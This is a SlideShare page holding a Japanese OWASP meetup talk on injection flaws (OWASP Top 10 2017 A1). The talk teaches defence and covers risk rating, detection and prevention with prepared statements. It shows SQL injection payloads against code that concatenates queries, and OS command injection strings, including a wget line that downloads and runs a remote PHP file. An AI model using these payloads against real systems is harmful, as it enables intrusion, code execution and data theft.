Download free for 30 days
Sign in
Upload
Language (EN)
Support
Business
Mobile
Social Media
Marketing
Technology
Art & Photos
Career
Design
Education
Presentations & Public Speaking
Government & Nonprofit
Healthcare
Internet
Law
Leadership & Management
Automotive
Engineering
Software
Recruiting & HR
Retail
Sales
Services
Science
Small Business & Entrepreneurship
Food
Environment
Economy & Finance
Data & Analytics
Investor Relations
Sports
Spiritual
News & Politics
Travel
Self Improvement
Real Estate
Entertainment & Humor
Health & Medicine
Devices & Hardware
Lifestyle
Change Language
Language
English
Español
Português
Français
Deutsche
Cancel
Save
EN
Uploaded by
tobaru_yuta
820 views
owasp_evening_okinawa_7_owasp_top_10-2017_injection
OWASP Evening Okinawa #7 登壇資料。 OWASP Top 10 - 2017 について学ぼう!(A1:2017-インジェクション)
Internet
◦
Read more
0
Save
Share
Embed
Embed presentation
Download
Download to read offline
1
/ 91
2
/ 91
3
/ 91
4
/ 91
5
/ 91
6
/ 91
7
/ 91
8
/ 91
9
/ 91
10
/ 91
11
/ 91
12
/ 91
13
/ 91
14
/ 91
15
/ 91
16
/ 91
17
/ 91
18
/ 91
19
/ 91
20
/ 91
21
/ 91
22
/ 91
23
/ 91
24
/ 91
25
/ 91
26
/ 91
27
/ 91
28
/ 91
29
/ 91
30
/ 91
31
/ 91
32
/ 91
33
/ 91
34
/ 91
35
/ 91
36
/ 91
37
/ 91
38
/ 91
39
/ 91
40
/ 91
41
/ 91
42
/ 91
43
/ 91
44
/ 91
45
/ 91
46
/ 91
47
/ 91
48
/ 91
49
/ 91
50
/ 91
51
/ 91
52
/ 91
53
/ 91
54
/ 91
55
/ 91
56
/ 91
57
/ 91
58
/ 91
59
/ 91
60
/ 91
61
/ 91
62
/ 91
63
/ 91
64
/ 91
65
/ 91
66
/ 91
67
/ 91
68
/ 91
69
/ 91
70
/ 91
71
/ 91
72
/ 91
73
/ 91
74
/ 91
75
/ 91
76
/ 91
77
/ 91
78
/ 91
79
/ 91
80
/ 91
81
/ 91
82
/ 91
83
/ 91
84
/ 91
85
/ 91
86
/ 91
87
/ 91
88
/ 91
89
/ 91
90
/ 91
91
/ 91
More Related Content
PDF
Vue.js で XSS
by
tobaru_yuta
PPTX
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
PDF
[デブサミ2012]趣味と実益の脆弱性発見
by
Yosuke HASEGAWA
PPTX
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
by
Hiroshi Tokumaru
PPTX
安全なPHPアプリケーションの作り方2014
by
Hiroshi Tokumaru
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
PDF
Vue入門
by
Takeo Noda
Vue.js で XSS
by
tobaru_yuta
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
[デブサミ2012]趣味と実益の脆弱性発見
by
Yosuke HASEGAWA
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2014
by
Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
Vue入門
by
Takeo Noda
What's hot
PPTX
他人事ではないWebセキュリティ
by
Yosuke HASEGAWA
PPTX
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
PDF
次世代プラットフォームのセキュリティモデル考察(前編)
by
Yosuke HASEGAWA
PDF
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
by
Isao Takaesu
PPTX
Phpcon2015
by
Hiroshi Tokumaru
PDF
文字コードに起因する脆弱性とその対策(増補版)
by
Hiroshi Tokumaru
PPTX
Webシステム脆弱性LT資料
by
Tomohito Adachi
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
PDF
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
by
Hiroshi Tokumaru
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
PDF
Spring bootでweb セキュリティ(ログイン認証)編
by
なべ
PDF
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
PPTX
RECOMMENDER for Web security engineers - 中級編 -
by
Isao Takaesu
PDF
とある診断員とSQLインジェクション
by
zaki4649
PDF
HTML5のセキュリティ もうちょい詳しく- HTML5セキュリティその3 : JavaScript API
by
Yosuke HASEGAWA
PPTX
AR-Frame x AR.js入門
by
Takashi Yoshinaga
PDF
脆弱性診断データの活用例 - Webアプリケーション診断編 -
by
Isao Takaesu
PDF
introduce "Stealing Machine Learning Models via Prediction APIs"
by
Isao Takaesu
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
by
Hiroshi Tokumaru
他人事ではないWebセキュリティ
by
Yosuke HASEGAWA
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
次世代プラットフォームのセキュリティモデル考察(前編)
by
Yosuke HASEGAWA
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
by
Isao Takaesu
Phpcon2015
by
Hiroshi Tokumaru
文字コードに起因する脆弱性とその対策(増補版)
by
Hiroshi Tokumaru
Webシステム脆弱性LT資料
by
Tomohito Adachi
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
by
Hiroshi Tokumaru
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
Spring bootでweb セキュリティ(ログイン認証)編
by
なべ
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
RECOMMENDER for Web security engineers - 中級編 -
by
Isao Takaesu
とある診断員とSQLインジェクション
by
zaki4649
HTML5のセキュリティ もうちょい詳しく- HTML5セキュリティその3 : JavaScript API
by
Yosuke HASEGAWA
AR-Frame x AR.js入門
by
Takashi Yoshinaga
脆弱性診断データの活用例 - Webアプリケーション診断編 -
by
Isao Takaesu
introduce "Stealing Machine Learning Models via Prediction APIs"
by
Isao Takaesu
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
by
Hiroshi Tokumaru
Similar to owasp_evening_okinawa_7_owasp_top_10-2017_injection
PPTX
今だからこそ振り返ろう!OWASP Top 10
by
Daiki Ichinose
PDF
OWASP Top 10 超初級編 (2021 Ver.)
by
AkitadaOmagari
PPTX
OWASP Top 10 2017 RC1について
by
Daiki Ichinose
PDF
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
PDF
今日こそわかる、安全なWebアプリの作り方2010
by
Hiroshi Tokumaru
PPTX
Owasp top10 HandsOn
by
masafumi masutani
PPTX
HTML5 Web アプリケーションのセキュリティ
by
彰 村地
PPTX
ウェブセキュリティの常識
by
Hiroshi Tokumaru
PPTX
第9回勉強会 Webセキュリティー
by
hakoika-itwg
PPTX
Webアプリって奥が深いんです
by
abend_cve_9999_0001
PPTX
セキュア開発の<s>3つの</s>敵
by
Riotaro OKADA
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
PPTX
Webアプリケーション脆弱性体験ハンズオン
by
Yuichi Hattori
PDF
徳丸本ができるまで
by
Hiroshi Tokumaru
PDF
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
by
Hiroshi Tokumaru
PPTX
OWASP Top 10 超初級編
by
AkitadaOmagari
PPTX
20180601 OWASP Top 10 2017の読み方
by
OWASP Nagoya
PPTX
osc2016do ひげで学ぶWebアプリケーションに潜むリスク
by
Ierae Security
PDF
アプリケーションデリバリーのバリューチェイン
by
Riotaro OKADA
PDF
Security issue201312
by
Riotaro OKADA
今だからこそ振り返ろう!OWASP Top 10
by
Daiki Ichinose
OWASP Top 10 超初級編 (2021 Ver.)
by
AkitadaOmagari
OWASP Top 10 2017 RC1について
by
Daiki Ichinose
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
今日こそわかる、安全なWebアプリの作り方2010
by
Hiroshi Tokumaru
Owasp top10 HandsOn
by
masafumi masutani
HTML5 Web アプリケーションのセキュリティ
by
彰 村地
ウェブセキュリティの常識
by
Hiroshi Tokumaru
第9回勉強会 Webセキュリティー
by
hakoika-itwg
Webアプリって奥が深いんです
by
abend_cve_9999_0001
セキュア開発の<s>3つの</s>敵
by
Riotaro OKADA
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
Webアプリケーション脆弱性体験ハンズオン
by
Yuichi Hattori
徳丸本ができるまで
by
Hiroshi Tokumaru
ここが変だよ、グローバルスタンダードの脆弱性対策~入力値の考え方~
by
Hiroshi Tokumaru
OWASP Top 10 超初級編
by
AkitadaOmagari
20180601 OWASP Top 10 2017の読み方
by
OWASP Nagoya
osc2016do ひげで学ぶWebアプリケーションに潜むリスク
by
Ierae Security
アプリケーションデリバリーのバリューチェイン
by
Riotaro OKADA
Security issue201312
by
Riotaro OKADA
owasp_evening_okinawa_7_owasp_top_10-2017_injection
1.
OWASP Top 10
を学ぼう! (A1:2017-インジェクション) OWASP Evening OKINAWA #7 桃原 裕太
2.
自己紹介 桃原 裕太 株式会社シーエー・アドバンス 技術統括本部 Webアプリケーション脆弱性診断に携わって約5年 月一でセキュリティもくもく勉強会を開催 2
3.
目次 はじめに OWASP について OWASP Top
10 について 2013年版から2017年版への変更点 アプリケーションセキュリティリスク A1:2017 - インジェクション おわりに 3
4.
はじめに 4
5.
はじめに ※注意※ ここで得た知識を悪用しな いようにしてください 5
6.
はじめに スライドが90枚 くらいあります! 一枚一枚はそんなに 長くないはず 6
7.
はじめに 2017年12月に OWASP Top 10 の日本語版が公開 されましたね! 7
8.
はじめに 少しずつですが、 沖縄でも学んでい きたいと思います。 (全10回) 8
9.
はじめに 2018/03 A1:2017-インジェクション 2018/06 A2:2017-認証の不備 2018/09
A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 9
10.
はじめに 2018/03 A1:2017-インジェクション (今回はコチラ!) 2018/06
A2:2017-認証の不備 2018/09 A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 10
11.
はじめに 次回以降は登壇者をローテーションしたいので、 我こそは!という方は、個別にでもいいのでご連 絡いただけるとありがたいです。 11
12.
OWASP について 12
13.
OWASP について OWASP
とは、Open Web Application Security Project の略称です。 Webをはじめとするセキュリティ環境の現状、ま たセキュアなソフトウェア開発を促進する技術・ プロセスに関する情報共有と普及啓発を目的とし たプロフェッショナルの集まる、オープンソー ス・ソフトウェアコミュニティです。 OWASP Okinawaは日本で6番目に発足したローカ ルチャプターです。 13
14.
OWASP について OWASP
は様々なプロジェクトがあり、 その成果物があります。 OWASP Top 10 - 2017 OWASP Mobile Top 10 - 2016 OWASP Proactive Controls OWASP Application Security Verification Standard OWASP Wordpress Security Implementation Guideline 14
15.
OWASP Top 10 -
2017 に ついて 15
16.
OWASP Top 10
- 2017 につい て アプリケーションセキュリティのデファクト・ス タンダード 前回作成したものが OWASP Top 10 - 2013 アプリケーションセキュリティを始める人や 組織が良いスタートをきれるように作成していま す 16
17.
OWASP Top 10
- 2017 につい て 大規模な組織や、セキュリティの取り組みにおい て高いレベルの組織において、厳密な標準が求め られているような場合には OWASP Application Security Verification Standard (ASVS) を使う ように勧めているようです 17
18.
OWASP Top 10
- 2017 につい て OWASP Top10の主要な目的は、開発者、デザイ ナー、アーキテクト、マネージャ、組織に、最も 一般的かつ最も重要なWebアプリケーションセ キュリティの弱点の影響について教育することで す。 リスクの高い問題のある領域を守るための基本的 なテクニックを提供し、現時点からどこへ進める べきなかについてのガイダンスを提供します。 18
19.
2013年版から 2017年版への 変更点 19
20.
2013年版から2017年版への変更点 ここ数年でアプリケーションの基本的な技術と アーキテクチャは大きな変化を遂げました。 マイクロサービス RESTful Web シングルページアプリケーション 従来サーバー側で処理されてきた機能が クライアント側に移る 20
21.
2013年版から2017年版への変更点 ここ数年でアプリケーションの基本的な技術と アーキテクチャは大きな変化を遂げました。 node.js 等、JavaScript
が Web の主要言語に モダンな Web フレームワークの登場 Bootstrap, Electron, Angular, React 21
22.
2013年版から2017年版への変更点 (追加された項目) 22
23.
2013年版から2017年版への変更点 (統合された項目) 23
24.
2013年版から2017年版への変更点 (削除された項目) 24
25.
2013年版から2017年版への変更点 (削除された項目) ※補足 クロスサイトリクエストフォージェリ(CSRF)
多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている 未検証のリダイレクトと転送 アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた 25
26.
2013年版から2017年版への変更点 (削除された項目) ※補足 クロスサイトリクエストフォージェリ(CSRF)
多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている 未検証のリダイレクトと転送 アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた ※一定数存在するので、無視していいわ けではないです 26
27.
アプリケーション セキュリティリスク について 27
28.
アプリケーション セキュリティリスクについて 攻撃者はアプリケーションを介して様々な経路 で、ビジネスや組織に被害を及ぼします。 28
29.
それぞれの経路は、注意を喚起すべき深刻なリ スクやそれほど深刻ではないリスクを表してい ます。 29 アプリケーション セキュリティリスクについて
30.
これらの経路の中には、検出や悪用がしやすいものもあ れば、しにくいものもあります。 同様に、引き起こされる被害についても、
ビジネスに 影響がないこともあれば、破産にまで追い込まれること もあります。 30 アプリケーション セキュリティリスクについて
31.
アプリケーションセキュリティリスクについて 組織におけるリスクを判断するためにまず、以下の項目 に関してそれぞれの可能性を評価します。 「脅威エージェント」 「攻撃手法」 「セキュリティ上の弱点」 31 アプリケーション セキュリティリスクについて
32.
アプリケーションセキュリティリスクについて その次に、組織に対する影響を考慮してみてください。 「技術面への影響」 「ビジネス面への影響」 32 アプリケーション セキュリティリスクについて
33.
アプリケーションセキュリティリスクについて 最後に、これら全てのファクターに基づき、リスクの全 体像を決定します。 33 アプリケーション セキュリティリスクについて
34.
次からインジェクションのお話 なのですが 34 ここまでで 何か質問等ありますか?
35.
A1:2017 -インジェ クション 35
36.
A1:2017-インジェクション ここから本題です! 36
37.
A1:2017-インジェクション その前に、 インジェクション 知ってる方ってどのくらい いますか…? 37
38.
A1:2017-インジェクション インジェクションについてざっくり解説 コマンドやクエリの一部として信頼されない データが送信される場合に発生 攻撃コードがインタープリタを騙すことで、 様々な問題が… 意図しないコマンドの実行 機密情報の漏えい 権限を有していないデータへのアクセス、等 38
39.
A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 39
40.
A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 40
41.
A1:2017-インジェクション ~インジェクションとなっ ている脆弱性が今回のテー マです 41
42.
A1:2017-インジェクション なにが問題なの? 42
43.
A1:2017-インジェクション 機密情報が漏洩した場合… 43
44.
A1:2017-インジェクション 損害賠償に発展する事例も [参考]https://blog.tokumaru.org/2015/01/sql.html 44
45.
A1:2017-インジェクション 次はインジェクションの リスクについて確認してい きましょう 45
46.
A1:2017-インジェクション リスクについて 46
47.
A1:2017-インジェクション インジェクションのリスクについて 47
48.
A1:2017-インジェクション インジェクションのリスクについて 48 それぞれの項目について 確認していきます
49.
A1:2017-インジェクション インジェクションのリスクについて 49
50.
A1:2017-インジェクション 悪用のしやすさ(3段階評価) 容易:3 ほとんどのデータソースがインジェクションの 経路となりえます。 環境変数 パラメータ 外部及び内部のWebサービス あらゆる種類のユーザ 攻撃者が送った悪意のあるデータがインタープ リタ上で動作する場合にインジェクションは発 生します。 50
51.
A1:2017-インジェクション インジェクションのリスクについて 51
52.
A1:2017-インジェクション 弱点の蔓延度(3段階評価) よく見られる:2 特にレガシーコードで一般的です インジェクション脆弱性は、下記でよく見 られます。 SQL LDAP Xpath NoSQLクエリ OSコマンド XMLパーサー SMTPヘッダー 式言語 ORMクエリ 52
53.
A1:2017-インジェクション インジェクションのリスクについて 53
54.
A1:2017-インジェクション 検出のしやすさ(3段階評価) 容易:3 インジェクション欠陥は、コードを調べる と簡単に発見できます。 インジェクション欠陥を見つけるのに役立 つ手法があります スキャナ(ソースコードの静的チェック) ファジング(動的解析) 54
55.
A1:2017-インジェクション インジェクションのリスクについて 55
56.
A1:2017-インジェクション 技術面(3段階評価) 深刻:3 様々な問題が起きます データの損失 破壊 情報漏洩 アカウンタビリティの喪失 アクセス拒否 ホストの完全な乗っ取り 56
57.
A1:2017-インジェクション インジェクションのリスクについて 57
58.
A1:2017-インジェクション 脅威エージェントとビジネス面の影響 リスクを理解するためには「脅威エージェ ント」と「ビジネス面への影響」を考慮 しないといけません。 ソフトウェア に甚大な弱点があったとし ても、攻撃をする「脅威エージェント」 がいない、或いは関連資産への「ビジネ ス面への影響」 が極めて少ない場合、重 大なリスクにはなりません。 58
59.
A1:2017-インジェクション ビジネスへの影響は、アプリケーションと データの重要性に依存します。例えば、 個人情報の漏えい 重要性が高い クライアント情報の漏えい 重要性が高い ECサイトで販売している商品情報の漏えい (公開されている情報) 重要性が低い 59
60.
A1:2017-インジェクション 次はインジェクションの 見つけ方について 確認していきましょう 60
61.
A1:2017-インジェクション 脆弱性発見のポイント(1/5) ユーザが提供したデータをそのまま信頼してい る場合はインジェクションが発生しやすいです 検証していない フィルタリングしていない サニタイズされない コンテキストに応じたエスケープが行われず、 動的クエリまたはパラメータ化されていない呼 出しがインタープリタに直接使用される SQLに使われるデータがエスケープされてない等 61
62.
A1:2017-インジェクション 脆弱性発見のポイント(2/5) 次のような状況では、アプリケーションはこの 攻撃に対して脆弱です オブジェクト・リレーショナル・マッピング (ORM)の検索パラメータに悪意を持ったデー タが使用され、重要なレコードを追加で抽出して しまう。 悪意を持ったデータを直接または連結して使う。 例えば、動的クエリ、コマンド、ストアド・プロ シージャにおいて構文に悪意を持ったデータを組 み合わせる形でSQLやコマンドが組み立てられる。 62
63.
A1:2017-インジェクション 脆弱性発見のポイント(3/5) 一般的なインジェクションとしては、下記がありま す。 SQL NoSQL OSコマンド オブジェクト・リレーショナル・マッピング(ORM) LDAP EL式(Expression Language) OGNL式(Object
GraphNavigation Library) コンセプトはすべてのインタープリタで同じです。 63
64.
A1:2017-インジェクション 脆弱性発見のポイント(4/5) ソースコードをレビューすることが最も効果的に検 出できます すべての入力値の完全な自動テストも効果的です パラメータ ヘッダー URL Cookie JSON SOAP XML 64
65.
A1:2017-インジェクション 脆弱性発見のポイント(5/5) 下記のようなツールをCI/CDパイプライン(ビ ルド~テスト~リリースの自動化ツール)に導 入します 静的ソースコード解析ツール (SAST) Java/PHP/Ruby 等、言語毎にツールが存在 動的アプリケーションテストツール
(DAST) 実際にHTTPリクエストを送信してテスト 自動化することで新たに作られてしまったイン ジェクション欠陥をリリース前に検出できます 65
66.
A1:2017-インジェクション 次はインジェクションの 攻撃例について 確認していきましょう 66
67.
A1:2017-インジェクション 攻撃シナリオの例(#1) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なSQL呼 び出しを作ってしまいます Javaの例をあげます 67
68.
A1:2017-インジェクション 攻撃シナリオの例(#1) http://example.com/app/accountView?id=1 String query
= "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 68
69.
A1:2017-インジェクション 攻撃シナリオの例(#1) http://example.com/app/accountView?id=' or
'1'='1 String query = "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 69
70.
A1:2017-インジェクション 攻撃シナリオの例(#2) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なSQL呼 び出しを作ってしまいます JavaのORMツール(Hybernate)の例をあ げます 70
71.
A1:2017-インジェクション 攻撃シナリオの例(#2) http://example.com/app/accountView?id=1 Query HQLQuery
= session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 71
72.
A1:2017-インジェクション 攻撃シナリオの例(#2) http://example.com/app/accountView?id=' or
'1'='1 Query HQLQuery = session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 72
73.
A1:2017-インジェクション 攻撃シナリオの例(#3) あるアプリケーションは信頼できないデー タを用いることで以下のような脆弱なOSコ マンドの呼び出しを作ってしまいます PHPの例をあげます 73
74.
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701 // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 74
75.
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 75
76.
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 76
77.
A1:2017-インジェクション 攻撃シナリオの例(#3) http://example.com/order/summary <?php //
受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST[“yyyymm”]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); ①バッチを動かす php /batch/order_summary.php 201701; ②sleepコマンドで10秒停止 sleep 10; 77
78.
A1:2017-インジェクション 攻撃シナリオの例(#3) なぜsleepコマンド? yyyymm=201701 の場合 ※レスポンスが返ってくるまでに1秒かかる yyyymm=201701;sleep
10; の場合 ※レスポンスが返ってくるまでに11秒かかる 78
79.
A1:2017-インジェクション 攻撃シナリオの例(#3) 不正なファイルのDLと実行 ;wget http://example.com/evil.txt
-O evil.php;php evil.php; ツールの取得(yum, apt-get) ファイル削除 (rm) OSシャットダウン(shutdown) その他いろいろ 79
80.
A1:2017-インジェクション 次はインジェクションの 防止方法について 確認していきましょう 80
81.
A1:2017-インジェクション 防止方法 コマンドとクエリからデータを常に分ける ようにします インタープリタの使用を完全に避けるよう にします パラメータ化されたインターフェースを利 用するようにします ORMを使用するように移行するようにしま す 81
82.
A1:2017-インジェクション 防止方法 注意)パラメータ化されていたとしても、 ストアドプロシージャでは、 SQLインジェ クションを発生する可能性があります 例)PL/SQLまたはT-SQLによってクエリと データを連結 例)EXECUTE IMMEDIATEやexec()を利用 して悪意のあるデータを実行する 例にあるような書き方は避けるようにしま しょう 82
83.
A1:2017-インジェクション 防止方法 「ホワイトリスト」によるサーバサイドの 入力検証を用いるようにします フォームのラジオボタンやセレクトボックス はホワイトリストでの入力値チェックがしや すいと思います フォームのテキストエリア等はホワイトリ ストでのチェックは難しそう… 83
84.
A1:2017-インジェクション 防止方法 これまでの対応が困難な動的クエリでは、 そのインタープリタ固有のエスケープ構文 を使用して特殊文字をエスケープするよう にします 注意点)テーブル名やカラム名などのSQLス トラクチャに対してはエスケープができない ため、ユーザ指定のストラクチャ名は危険で す。 レポート作成ソフトウェア等で見かけられる 問題のようです。 84
85.
A1:2017-インジェクション 防止方法 実行するSQLのクエリ内で LIMIT 句やそ の他のSQL制御を常に使用するようにし ます 緩和策だと思いますが
SQL インジェク ション攻撃が発生した場合のレコードの 大量漏洩を防ぐことができるかもしれま せん 85
86.
A1:2017-インジェクション 攻撃シナリオの例(#1) ※対策版 http://example.com/app/accountView?id='
or '1'='1 PreparedStatement prep = conn.prepareStatement( "SELECT * FROM accounts WHERE custID=?" ); prep.setString(1, request.getParameter("id")); // SELECT * FROM accounts // WHERE custID=''' or ''1''=''1' /* custIDが「' or '1'='1」のアカウントデータを取得 */ 86
87.
おわりに まとめ インジェクションについて OWASP
Top 10 - 2017 をベースにお話しました 例えばOSコマンドインジェクションが発生した 場合はビジネスに致命的な影響を及ぼす可能性 があります 不正なファイルの実行、データ漏えい、サーバー ダウン等 今回学んだ、脆弱性発見のポイント、攻撃例、防止 方法をもとにインジェクションのない安全なWebア プリケーションを開発できるように頑張ってくださ い 87
88.
おわりに 参考サイト、参考資料 https://www.owasp.org/images/2/23/OWASP_Top_10- 2017%28ja%29.pdf
https://www.owasp.org/images/7/72/OWASP_Top_10- 2017_%28en%29.pdf.pdf https://blog.tokumaru.org/2015/01/sql.html https://www.ipa.go.jp/files/000017320.pdf 88
89.
おわりに 89 何か質問等ありますか?
90.
おわりに 次回、登壇したい方がいれば 個別でもいいですので教えてください…! ※30分くらいで考えています 90
91.
ご清聴 ありがとうございました! 91
Download